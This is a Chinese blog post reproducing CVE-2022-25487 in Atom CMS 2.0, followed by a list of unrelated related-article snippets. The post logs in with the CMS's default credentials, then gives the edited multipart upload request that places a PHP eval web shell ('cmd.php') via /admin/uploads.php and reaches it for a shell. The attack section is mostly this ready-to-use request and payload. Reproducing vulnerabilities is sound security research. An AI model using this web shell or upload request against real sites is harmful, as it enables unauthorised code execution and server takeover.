CVE-2022-25487 漏洞复现
漏洞描述：Atom CMS 2.0版本存在远程代码执行漏洞，该漏洞源于/admin/uploads.php 未能正确过滤构造代码段的特殊元素。攻击者可利用该漏洞导致任意代码执行。
其实这就是一个文件上传漏洞罢了。。。。
打开之后，/home路由是个空白
信息搜集：该cms有默认邮箱/密码 alan@alan.com/password，到/admin路由下尝试登录。
Users下有个上传文件功能，可能是上传头像用的。
抓包中无文件上传的内容？？？？（奇奇怪怪）
看了一下，漏洞路由在/admin/uploads.php，直接在界面中点击到不了这个路由。。。。
直接修改刚刚的包吧
直接传php文件，这cms写的真shit
Content-Type: multipart/form-data; boundary=---------------------------30623082103363803402542706041-----------------------------30623082103363803402542706041
Content-Disposition: form-data; name="file"-----------------------------30623082103363803402542706041
Content-Disposition: form-data; name="file"; filename="cmd.php"
Content-Type: image/jpeg<?php @eval($_POST['cmd']);?>
-----------------------------30623082103363803402542706041--
访问木马存储路由/uploads/1707520195231.phpgetshell
相关文章：
CVE-2022-25487 漏洞复现
漏洞描述：Atom CMS 2.0版本存在远程代码执行漏洞，该漏洞源于/admin/uploads.php 未能正确过滤构造代码段的特殊元素。攻击者可利用该漏洞导致任意代码执行。 其实这就是一个文件上传漏洞罢了。。。。 打开之后，/home路由是个空白 信息搜集&…...
C#面：强类型和弱类型
强类型 强类型是指在编程语言中，变量必须明确声明其数据类型，并且在编译时会进行类型检查的特性。它可以提高代码的可读性和可维护性，但有时需要显式地进行类型转换。换句话说，强类型语言要求变量的类型在编译时就要确定…...
nodejs和npm和vite
Nodejs 简单的说 Node.js 就是运行在服务端的 JavaScript。 Node.js 是一个基于 Chrome JavaScript 运行时建立的一个平台。 Node.js 是一个事件驱动 I/O 服务端 JavaScript 环境 用途： Node.js 可以被看作是一个 JavaScript 运行时环境，专门用于在服务…...
相机图像质量研究(24)常见问题总结：CMOS期间对成像的影响--摩尔纹
系列文章目录 相机图像质量研究(1)Camera成像流程介绍 相机图像质量研究(2)ISP专用平台调优介绍 相机图像质量研究(3)图像质量测试介绍 相机图像质量研究(4)常见问题总结：光学结构对成像的影响--焦距 相机图像质量研究(5)常见问题总结：光学结构对成…...
Redis -- 数据库管理
目录 前言 切换数据库(select) 数据库中key的数量（dbsize） 清除数据库（flushall flushdb） 前言 MySQL有一个很重要的概念，那就是数据库database，一个MySQL里面有很多个database，一个datab…...
蓝桥杯（Web大学组）2023省赛真题：视频弹幕
思路： 主要是要仔细阅读题目以及理解给出的已有代码，进行函数间的调用、定时器的使用、元素移除、清除定时器等，注意细节。 笔记： height不要写成hight设置left时,记得加单位px可以获取left的值进行计算，但要注意sp…...
真假难辨 - Sora(OpenAI)/世界模拟器的技术报告
目录 引言技术报告汉译版英文原版 引言 Sora是OpenAI在2024年2月15日发布的世界模拟器，功能是通过文本可以生成一分钟的高保真视频。由于较高的视频质量，引起了巨大关注。下面是三个示例，在示例之后给出了其技术报告： tokyo-wal…...
Linux第52步_移植ST公司的linux内核第4步_关闭内核模块验证和log信息时间戳_编译_并通过tftp下载测试
1、采用程序配置关闭“内核模块验证” 默认配置文件“stm32mp1_atk_defconfig”路径为“arch/arm/configs”; 使用VSCode打开默认配置文件“stm32mp1_atk_defconfg”，然后将下面的4条语句屏蔽掉，如下： CONFIG_MODULE_SIGy CONFIG_MODULE_…...
ctfshow-web21~28-WP
爆破(21-28) web21 题目给了一个zip文件，打开后解压是爆破的字典，我们抓包一下网址看看 发现账号和密码都被base64了，我们发送到intruder模块，给爆破的位置加上$符圈住 去base64解码一下看看格式...
鸿蒙开发系列教程（二十四）--List 列表操作（3）
列表编辑 1、新增列表项 定义列表项数据结构和初始化列表数据，构建列表整体布局和列表项。 提供新增列表项入口，即给新增按钮添加点击事件。 响应用户确定新增事件，更新列表数据。 2、删除列表项 列表的删除功能一般进入编辑模式后才可…...
线性代数笔记2--矩阵消元
0. 简介 矩阵消元 1. 消元过程 实例方程组 { x 2 y z 2 3 x 8 y z 12 4 y z 2 \begin{cases} x2yz2\\ 3x8yz12\\ 4yz2 \end{cases} ⎩ ⎨ ⎧x2yz23x8yz124yz2 矩阵化 A [ 1 2 1 3 8 1 0 4 1 ] X [ x y z ] A \begin{bmatrix} 1 & 2 & 1 \\ 3 & …...
透光力之珠——光耦固态继电器的独特特点解析
光耦固态继电器作为现代电子控制领域中的重要组件，以其独特的特点在工业、通信、医疗等多个领域得到广泛应用。本文将深入剖析光耦固态继电器的特点，揭示其在电子控制中的卓越性能。 光耦固态继电器的光电隔离技术 光耦固态继电器以其光电隔离技术而脱颖…...
C#系列-EntityFrameworkCore.Transactions.Abstractions应用场景+实例（38）
EntityFrameworkCore.Transactions.Abstractions应用场景 EntityFrameworkCore.Transactions.Abstractions 并不是一个官方的或广泛认可的 NuGet 包名称。在 Entity Framework Core (EF Core) 中，事务管理通常是通过 DbContext 的内置方法来实现的，如 Sa…...
PMDG 737
在Simbrief中生成计划后下载两个文件 放到C:\Users\32497\AppData\Local\Packages\Microsoft.FlightSimulator_8wekyb3d8bbwe\LocalState\packages\pmdg-aircraft-737(微软商店版本) 加油 先在飞行计划中查看计划燃油数量 MCDU中, AIRPLANE SEVICE 第二页, REQUEST FUEL TR…...
深入探索Midjourney：领航人工智能的新征程
深入探索Midjourney：领航人工智能的新征程 引言 在这个数据驱动、以技术创新为核心的时代，Midjourney以其独特的特性在人工智能领域中崭露头角。作为一款前沿的人工智能工具，它不仅重新定义了人机交互的方式，而且为各行各业提供…...
ChatGPT高效提问—prompt实践（漏洞风险分析-重构建议-识别内存泄漏）
ChatGPT高效提问—prompt实践（漏洞风险分析-重构建议-识别内存泄漏） 1.1 漏洞和风险分析 ChatGPT还可以帮助开发人员预测代码的潜在风险，识别其中的安全漏洞，而不必先运行它，这可以让开发人员及早发现错误࿰…...
【AIGC】Stable Diffusion 的提示词入门
一、正向提示词和反向提示词 Stable Diffusion 中的提示词通常用于指导用户对生成的图像进行控制。这些提示词可以分为正向提示词（Positive Prompts）和反向提示词（Negative Prompts）两类，它们分别影响图像生成过程中的…...
力扣---通配符匹配
题目描述： 给你一个输入字符串 (s) 和一个字符模式 (p) ，请你实现一个支持 ? 和 * 匹配规则的通配符匹配： ? 可以匹配任何单个字符。 * 可以匹配任意字符序列（包括空字符序列）。 判定匹配成功的充要条件是ÿ…...
Rust 原生类型
提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档 文章目录 前言一、标量类型（scalar type）二、 复合类型（compound type）总结 前言 Rust 学习系列 ，rust中的原生类…...
09、全文检索 -- Solr -- SpringBoot 整合 Spring Data Solr （生成DAO组件 和 实现自定义查询方法）
目录 SpringBoot 整合 Spring Data SolrSpring Data Solr的功能（生成DAO组件）：Spring Data Solr大致包括如下几方面功能：Query查询（属于半自动）代码演示：1、演示通过dao组件来保存文档1、实体类…...
SpringBoot-17-MyBatis动态SQL标签之常用标签
文章目录 1 代码1.1 实体User.java1.2 接口UserMapper.java1.3 映射UserMapper.xml1.3.1 标签if1.3.2 标签if和where1.3.3 标签choose和when和otherwise1.4 UserController.java2 常用动态SQL标签2.1 标签set2.1.1 UserMapper.java2.1.2 UserMapper.xml2.1.3 UserController.ja…...
React Native 开发环境搭建（全平台详解）
React Native 开发环境搭建（全平台详解） 在开始使用 React Native 开发移动应用之前，正确设置开发环境是至关重要的一步。本文将为你提供一份全面的指南，涵盖 macOS 和 Windows 平台的配置步骤，如何在 Android 和 iOS…...
k8s从入门到放弃之Ingress七层负载
k8s从入门到放弃之Ingress七层负载 在Kubernetes（简称K8s）中，Ingress是一个API对象，它允许你定义如何从集群外部访问集群内部的服务。Ingress可以提供负载均衡、SSL终结和基于名称的虚拟主机等功能。通过Ingress，你可…...
JVM垃圾回收机制全解析
Java虚拟机（JVM）中的垃圾收集器（Garbage Collector，简称GC）是用于自动管理内存的机制。它负责识别和清除不再被程序使用的对象，从而释放内存空间，避免内存泄漏和内存溢出等问题。垃圾收集器在Ja…...
服务器硬防的应用场景都有哪些？
服务器硬防是指一种通过硬件设备层面的安全措施来防御服务器系统受到网络攻击的方式，避免服务器受到各种恶意攻击和网络威胁，那么，服务器硬防通常都会应用在哪些场景当中呢？ 硬防服务器中一般会配备入侵检测系统和预防系统&#x…...
生成 Git SSH 证书
🔑 1. 生成 SSH 密钥对 在终端（Windows 使用 Git Bash，Mac/Linux 使用 Terminal）执行命令： ssh-keygen -t rsa -b 4096 -C "your_emailexample.com" 参数说明： -t rsa&#x…...
Robots.txt 文件
什么是robots.txt？ robots.txt 是一个位于网站根目录下的文本文件（如：https://example.com/robots.txt），它用于指导网络爬虫（如搜索引擎的蜘蛛程序）如何抓取该网站的内容。这个文件遵循 Robots…...
CMake 从 GitHub 下载第三方库并使用
有时我们希望直接使用 GitHub 上的开源库，而不想手动下载、编译和安装。 可以利用 CMake 提供的 FetchContent 模块来实现自动下载、构建和链接第三方库。 FetchContent 命令官方文档✅ 示例代码 我们将以 fmt 这个流行的格式化库为例，演示如何： 使用 FetchContent 从 GitH…...
Android15默认授权浮窗权限
我们经常有那种需求，客户需要定制的apk集成在ROM中，并且默认授予其【显示在其他应用的上层】权限，也就是我们常说的浮窗权限，那么我们就可以通过以下方法在wms、ams等系统服务的systemReady()方法中调用即可实现预置应用默认授权浮…...
稳定币的深度剖析与展望
一、引言 在当今数字化浪潮席卷全球的时代，加密货币作为一种新兴的金融现象，正以前所未有的速度改变着我们对传统货币和金融体系的认知。然而，加密货币市场的高度波动性却成为了其广泛应用和普及的一大障碍。在这样的背景下，稳定…...